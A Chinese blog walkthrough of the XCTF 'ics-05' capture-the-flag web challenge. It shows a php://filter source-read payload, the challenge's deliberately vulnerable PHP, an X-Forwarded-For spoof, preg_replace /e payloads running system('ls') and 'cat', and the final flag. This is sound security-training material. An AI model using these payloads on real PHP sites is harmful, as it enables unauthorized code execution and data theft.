• xctf攻防世界 Web高手进阶区 ics-05


    0x01. 进入环境,查看内容

    如图:
    在这里插入图片描述

    给了一张乱七八糟的图,只有设备维护中心可以点击,如图:

    在这里插入图片描述
    看不出什么内容,再次点击云平台设备维护中心,发现url有猫腻,如图:

    在这里插入图片描述
    emmm,看到此处,显示了一个index,猜测page肯定是重点。

    0x02. 问题分析

    0x02_1. php伪协议

    什么是php伪协议?这里我参考大佬总结博客:
    PHP伪协议详解

    page参数一般是文件包含,利用php伪协议读出源码并把它base64编码输出(要不然就直接在网页上执行看不到源码了),这里的命令是:

    /index.php?page=php://filter/read=convert.base64-encode/resource=index.php
    
    • 1

    前端返回结果如图:
    在这里插入图片描述
    明显的base64编码,丢入base64解码,得到一个php解码文件,如图:
    在这里插入图片描述
    我们将代码拷出来,进行后续的分析。

    0x02_2. 代码分析

    截取部分有用代码进行分析,如下:

    
    $page = $_GET[page];  		# 拿到url中传递的 page参数
    if (isset($page)) {   		# 要求拿到的page参数不为空
    
    if (ctype_alnum($page)) {   # ctype_alnum检查$page是否都是字母数字,若都是字母数字则返回ture
    ?>
    
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead"><?php echo $page; die();?></p> # 显示page内容
        <br /><br /><br /><br />
    
    <?php
    
    }else{
    
    ?>
            <br /><br /><br /><br />
            <div style="text-align:center">
                <p class="lead">
                    <?php
    
                    if (strpos($page, 'input') > 0) { #返回input在$page中出现的第一个匹配的位置,若未找到返回flase
                        die();
                    }
    
                    if (strpos($page, 'ta:text') > 0) {
                        die();
                    }
    
                    if (strpos($page, 'text') > 0) {
                        die();
                    }
    
                    if ($page === 'index.php') { # #返回index.php在$page中出现的第一个匹配的位置,若未找到返回flase
                        die('Ok');
                    }
                        include($page);
                        die();
                    ?>
            </p>
            <br /><br /><br /><br />
    <?php
    }}
    
    
    //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
    
    # 此段代码表示,提交过来的参数携带X_FORWARDED_FOR=127.0.0.1,则执行如下代码
    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { 
        echo "
    Welcome My Admin !
    "
    ; # 参数中包含pat参数,rep参数,sub参数 $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; # 要求pat、rep、sub参数都不为空 if (isset($pattern) && isset($replacement) && isset($subject)) { # 调用preg_replace( mixed $pattern , mixed $replacement , mixed $subject)函数,其中 # $pattern: 要搜索的模式,可以是字符串或一个字符串数组。 # $replacement: 用于替换的字符串或字符串数组。 # $subject: 要搜索替换的目标字符串或字符串数组。 # 注意,pattern后添加/e 修正符,则会使 preg_replace() 将 replacement 参数当作 PHP 代码。 # 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含preg_replace() 的行中出现语法解析错误。 preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71

    0x02_3. 构造payload

    在burpsuite中添加x-forwarded-for: 127.0.0.1,如图,得到Welcome My Admin !
    在这里插入图片描述
    接着构造pat等参数,payload如下:

    /index.php?pat=/123/e&rep=system('ls')&sub=123
    
    • 1

    在这里插入图片描述
    发现有s3chahahaDir文件,构造payload如下:

    /index.php?pat=/123/e&rep=system('ls+s3chahahaDir')&sub=123
    
    • 1

    返回结果如图:
    在这里插入图片描述
    发现有个flag文件夹,那么我们继续查看,构造payload:

    /index.php?pat=/123/e&rep=system('ls+s3chahahaDir/flag')&sub=123
    
    • 1

    返回结果如图:
    在这里插入图片描述
    出现了一个flag.php文件,继续构造payload如下:

    /index.php?pat=/123/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=123
    
    • 1

    返回结果如图:
    在这里插入图片描述

    0x02_4. 得到最终答案

    最终答案为: cyberpeace{0002b4d7b2d0858ebb6e13df4b966bd2}

    0x03. 总结

    这个题目后面不难,最难的是一开始使用php伪协议,其次是php代码审计。这儿是知识盲区,慢慢积累吧

  • 相关阅读:
    7.缓存击穿、缓存穿透、缓存
    深入解析 Azure 机器学习平台:架构与组成部分
    【9.6】828. 统计子串中的唯一字符
    Notion Like 笔记软件使用教程·学习资源汇总·知识管理方案
    RT-Thread 下的文件内容对比 MSH shell cmd 命令实现方法
    freetype将字符串制作成位图并显示过程详解
    ICEM使用经验与网格划分错误分析
    雷卯推荐电磁兼容保护器件-PPTC自恢复保险丝
    金蝶云星空与聚水潭对接集成物料查询连通商品上传(新)(物料主数据同步策略)
    nvm安装及使用,nodejs版本切换使用
  • 原文地址:https://blog.csdn.net/l8947943/article/details/126240947